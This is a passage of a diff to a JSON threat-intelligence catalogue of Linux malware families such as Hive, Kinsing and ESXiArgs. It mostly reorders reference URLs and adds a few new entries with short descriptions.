"https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/", - "https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/", "https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-servers/", "https://blog.netlab.360.com/ddg-botnet-round-x-is-there-an-ending/", + "https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/", "https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/" ], "synonyms": [], @@ -3991,14 +4359,14 @@ "value": "ddoor" }, { - "description": "DEADBOLT is a linux ransomware written in GO, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.", + "description": "DEADBOLT is a linux ransomware written in Go, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt", "https://community.riskiq.com/article/1601124b", + "https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/", - "https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html" + "https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/" ], "synonyms": [], "type": [] @@ -4011,8 +4379,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia", - "https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html", - "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/" + "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/", + "https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html" ], "synonyms": [], "type": [] @@ -4025,9 +4393,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.derusbi", - "https://twitter.com/IntezerLabs/status/1407676522534735873?s=20", + "https://attack.mitre.org/groups/G0001/", "https://attack.mitre.org/groups/G0096", - "https://attack.mitre.org/groups/G0001/" + "https://twitter.com/IntezerLabs/status/1407676522534735873?s=20" ], "synonyms": [], "type": [] @@ -4041,8 +4409,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo", "https://blog.syscall.party/post/aes-ddos-analysis-part-1/", - "https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf" + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", + "https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/" ], "synonyms": [ "AESDDoS" @@ -4058,8 +4426,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.doki", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.securecoding.com/blog/all-about-doki-malware/", - "https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/" + "https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "https://www.securecoding.com/blog/all-about-doki-malware/" ], "synonyms": [], "type": [] @@ -4072,8 +4440,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.doublefantasy", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf" + "https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/" ], "synonyms": [], "type": [] @@ -4086,15 +4454,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury", - "https://www.welivesecurity.com/2014/10/15/operation-windigo-good-job-eset-says-malware-author/", "https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", - "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download", - "https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/", - "https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy", "https://security.web.cern.ch/security/advisories/windigo/windigo.shtml", - "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/", + "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", + "https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy", + "https://www.welivesecurity.com/2014/10/15/operation-windigo-good-job-eset-says-malware-author/", + "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf" ], "synonyms": [], "type": [] @@ -4107,9 +4475,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.echobot", + "https://www.bleepingcomputer.com/news/security/new-echobot-botnet-variant-uses-over-50-exploits-to-propagate/", "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", "https://blogs.akamai.com/sitr/2019/06/latest-echobot-26-infection-vectors.html", - "https://www.bleepingcomputer.com/news/security/new-echobot-botnet-variant-uses-over-50-exploits-to-propagate/", "https://www.f5.com/labs/articles/threat-intelligence/echobot-malware-now-up-to-71-exploits--targeting-scada" ], "synonyms": [], @@ -4119,12 +4487,14 @@ "value": "Echobot" }, { - "description": "", + "description": "According to the Infosec Institute, EnemyBot is a dangerous IoT botnet that has made headlines in the last few weeks. This threat, which seems to be disseminated by the Keksec group, expanded its features by adding recent vulnerabilities discovered in 2022. It was designed to attack web servers, Android devices and content management systems (CMS) servers.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot", - "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory", "https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/", + "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory", "https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers" ], "synonyms": [], @@ -4147,14 +4517,30 @@ "uuid": "479353aa-c6d7-47a7-b5f0-3f97fd904864", "value": "Erebus (ELF)" }, + { + "description": "Ransomware used to target ESXi servers.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.esxi_args", + "https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/", + "https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/", + "https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/", + "https://www.youtube.com/watch?v=bBcvqxPdjoI" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7550af7f-91cc-49e7-a4c5-d4e4d993cbef", + "value": "ESXiArgs" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome", - "https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf" + "https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/" ], "synonyms": [], "type": [] @@ -4180,14 +4566,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.exaramel", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm", "https://www.wired.com/story/sandworm-centreon-russia-hack/", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://attack.mitre.org/groups/G0034", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", "https://twitter.com/craiu/status/1361581668092493824", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://attack.mitre.org/groups/G0034" ], "synonyms": [], "type": [] @@ -4227,10 +4613,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot", + "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html", "https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/", "https://securitynews.sonicwall.com/xmlpost/vigilante-malware-removes-cryptominers-from-the-infected-device/", - "https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html", - "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html" + "https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html" ], "synonyms": [], "type": [] @@ -4266,6 +4652,20 @@ "uuid": "ac30f2be-8153-4588-b29c-5e5863792930", "value": "floodor" }, + { + "description": "Malware used to run a DDoS botnet.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fodcha", + "https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/", + "https://www.bleepingcomputer.com/news/security/fodcha-ddos-botnet-reaches-1tbps-in-power-injects-ransoms-in-packets/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4a64a1ca-e5bc-4a27-bff2-1c68cea05ba7", + "value": "Fodcha" + }, { "description": "This family utilizes custom modules allowing for remote access, credential harvesting (e.g. by modifying sshd) and proxy usage.\r\n\r\nIt comes with a rootkit as well.", "meta": { @@ -4284,11 +4684,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break", "https://www.akamai.com/blog/security/fritzfrog-p2p", - "https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/" + "https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break", + "https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], "type": [] @@ -4393,14 +4793,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime", - "https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf", - "https://par.nsf.gov/servlets/purl/10096257", - "https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461", - "https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things", "https://blog.netlab.360.com/quick-summary-port-8291-scan-en/", "https://github.com/Psychotropos/hajime_hashes", + "https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461", + "https://x86.re/blog/hajime-a-follow-up/", "http://blog.netlab.360.com/hajime-status-report-en/", - "https://x86.re/blog/hajime-a-follow-up/" + "https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things", + "https://par.nsf.gov/servlets/purl/10096257", + "https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf" ], "synonyms": [], "type": [] @@ -4450,20 +4850,36 @@ "uuid": "db3e17f0-677b-4bdb-bc26-25e62a74673d", "value": "Hand of Thief" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellobot", + "https://blog.exatrack.com/melofee/", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b9fec670-2b1e-4287-ac93-68360d5adcf4", + "value": "HelloBot (ELF)" + }, { "description": "Linux version of the HelloKitty ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty", - "https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group", "https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html", + "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/", "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/" + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], "type": [] @@ -4471,6 +4887,19 @@ "uuid": "785cadf7-5c99-40bc-b718-8a98d9aa90b7", "value": "HelloKitty (ELF)" }, + { + "description": "Lumen discovered this malware used in campaign targeting business-grade routers using a RAT they call HiatusRAT and a variant of tcpdump for traffic interception.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiatus_rat", + "https://blog.lumen.com/new-hiatusrat-router-malware-covertly-spies-on-victims/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "69dcee87-dc61-48d4-a6af-177396bdb850", + "value": "HiatusRAT" + }, { "description": "", "meta": { @@ -4491,14 +4920,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek", - "https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/", - "https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/", + "https://blog.netlab.360.com/hns-botnet-recent-activities-en/", "https://blog.avast.com/hide-n-seek-botnet-continues", "https://threatlabs.avast.com/botnet", + "https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/", "https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/", - "https://blog.netlab.360.com/hns-botnet-recent-activities-en/", - "https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code--hide--n-seek-bot.html", "https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/", + "https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code--hide--n-seek-bot.html", + "https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/", "https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/" ], "synonyms": [ @@ -4509,6 +4938,19 @@ "uuid": "41bf8f3e-bb6a-445d-bb74-d08aae61a94b", "value": "Hide and Seek" }, + { + "description": "HinataBot is a Go-based DDoS-focused botnet. It was observed in the first quarter of 2023 targeting HTTP and SSH endpoints leveraging old vulnerabilities and weak credentials. Amongst those infection vectors are exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hinata_bot", + "https://www.akamai.com/blog/security-research/hinatabot-uncovering-new-golang-ddos-botnet" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b10fc382-b740-417a-98fa-e23d10223958", + "value": "HinataBot" + }, { "description": "", "meta": { @@ -4527,25 +4969,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive", - "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", "https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/", - "https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/", - "https://arxiv.org/pdf/2202.08477.pdf", - "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://github.com/rivitna/Malware/tree/main/Hive", - "https://twitter.com/ESETresearch/status/1454100591261667329", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://blog.group-ib.com/hive", - "https://twitter.com/malwrhunterteam/status/1455628865229950979", - "https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/", + "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", "https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/", + "https://github.com/reecdeep/HiveV5_file_decryptor", "https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf", "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", - "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://arxiv.org/pdf/2202.08477.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://twitter.com/malwrhunterteam/status/1455628865229950979", "https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again" + "https://twitter.com/ESETresearch/status/1454100591261667329", + "https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/", + "https://blog.group-ib.com/hive", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://github.com/rivitna/Malware/tree/main/Hive" ], "synonyms": [], "type": [] @@ -4566,6 +5010,21 @@ "uuid": "c55389b0-e778-4cf9-9030-3d1efc1224c9", "value": "Hubnr" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hyperssl", + "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html" + ], + "synonyms": [ + "SysUpdate" + ], + "type": [] + }, + "uuid": "263aaef5-9758-49f1-aff1-9a509f545bb3", + "value": "HyperSSL (ELF)" + }, { "description": "", "meta": { @@ -4585,8 +5044,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper", "https://research.checkpoint.com/new-iot-botnet-storm-coming/", - "http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/", - "https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm" + "https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm", + "http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/" ], "synonyms": [ "IoTroop", @@ -4603,11 +5062,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network", "https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf", - "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/" + "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/", + "https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [ "InterPlanetary Storm" @@ -4636,10 +5095,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji", "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", + "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/", "https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/", + "https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", - "https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" ], "synonyms": [], "type": [] @@ -4648,15 +5108,16 @@ "value": "Kaiji" }, { - "description": "", + "description": "According to netenrich, Kaiten is a Trojan horse that opens a back door on the compromised computer that allows it to perform other malicious activities. The trojan does not create any copies of itself. This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten", + "https://www.lacework.com/blog/the-kek-security-network/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day", "https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/", "https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day", - "https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html", - "https://www.lacework.com/the-kek-security-network/" + "https://www.lacework.com/the-kek-security-network/", + "https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html" ], "synonyms": [ "STD" @@ -4671,11 +5132,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kerberods", - "https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html", - "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", + "https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916", "https://blog.talosintelligence.com/2019/09/watchbog-patching.html", + "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/", - "https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916" + "https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html" ], "synonyms": [], "type": [] @@ -4688,11 +5149,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://www.mandiant.com/resources/apt41-us-state-governments", "https://twitter.com/CyberJack42/status/1501290277864046595", - "https://experience.mandiant.com/trending-evil/p/1", "https://www.mandiant.com/resources/mobileiron-log4shell-exploitation", - "https://www.mandiant.com/resources/apt41-us-state-governments" + "https://experience.mandiant.com/trending-evil/p/1", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf" ], "synonyms": [ "ELFSHELF" @@ -4720,25 +5181,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://unit42.paloaltonetworks.com/atoms/moneylibra/", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", + "https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743", + "https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/", - "https://twitter.com/IntezerLabs/status/1259818964848386048", - "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", - "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", - "https://unit42.paloaltonetworks.com/cve-2020-25213/", - "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", - "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", - "https://unit42.paloaltonetworks.com/atoms/moneylibra/", - "https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html", "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", - "https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", + "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", + "https://twitter.com/IntezerLabs/status/1259818964848386048", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://unit42.paloaltonetworks.com/cve-2020-25213/", + "https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html", + "https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html", + 